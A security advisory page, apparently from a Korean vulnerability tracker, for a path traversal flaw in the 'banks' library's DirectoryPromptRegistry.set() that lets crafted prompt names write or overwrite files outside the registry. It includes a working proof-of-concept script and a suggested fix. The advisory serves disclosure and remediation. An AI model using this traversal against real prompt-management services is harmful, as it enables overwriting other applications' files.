CVE-2026-71492MEDIUMMITRENVDGHSA대응게시일: 2026. 08. 20.수정일: 2026. 09. 02.

Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

—medium

이론적 심각도 점수

EPSS

0.3%상위 74.9%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

text

 1prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
 2prompt_file.write_text(prompt.raw)

Two failure modes:

Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root.
Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

python

 1import tempfile
 2from pathlib import Path
 3from banks import Prompt
 4from banks.registries import DirectoryPromptRegistry
 5 
 6work = Path(tempfile.mkdtemp())
 7registry = work / "registry"; registry.mkdir()
 8victim   = work / "victim";   victim.mkdir()
 9 
10reg = DirectoryPromptRegistry(str(registry))
11 
12# (1) Relative traversal
13reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
14print((victim / "pwned.0.jinja").read_text())            # 'pwn'
15 
16# (2) Absolute-path bypass — registry root is silently discarded
17target = victim / "absolute_pwn"
18reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
19print((victim / "absolute_pwn.0.jinja").read_text())     # 'abs pwn'
20 
21# (3) Clobber an existing file
22existing = victim / "clobber_me"
23existing.write_text("ORIGINAL\n")
24reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
25        overwrite=True)
26print((victim / "clobber_me.0.jinja").read_text())       # 'CLOBBERED'

Output (verified on banks==2.4.2):

text

 1pwn
 2abs pwn
 3CLOBBERED

test_sandbox_baseline.py

registry_path_traversal.py

registry_path_traversal_v2.py

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Suggested Fix

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

python

 1# src/banks/registries/directory.py
 2import re
 3 
 4_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")
 5 
 6@classmethod
 7def from_prompt_path(cls, prompt, path):
 8    if not _NAME_RE.fullmatch(prompt.name or ""):
 9        raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
10    if not _NAME_RE.fullmatch(prompt.version or ""):
11        raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")
12 
13    candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
14    if candidate.parent != path.resolve():
15        raise InvalidPromptError(
16            f"Prompt path escapes registry root: {candidate}"
17        )
18 
19    candidate.write_text(prompt.raw)
20    return cls(
21        text=prompt.raw, name=prompt.name, version=prompt.version,
22        metadata=prompt.metadata, path=candidate,
23    )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

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참고 자료 6

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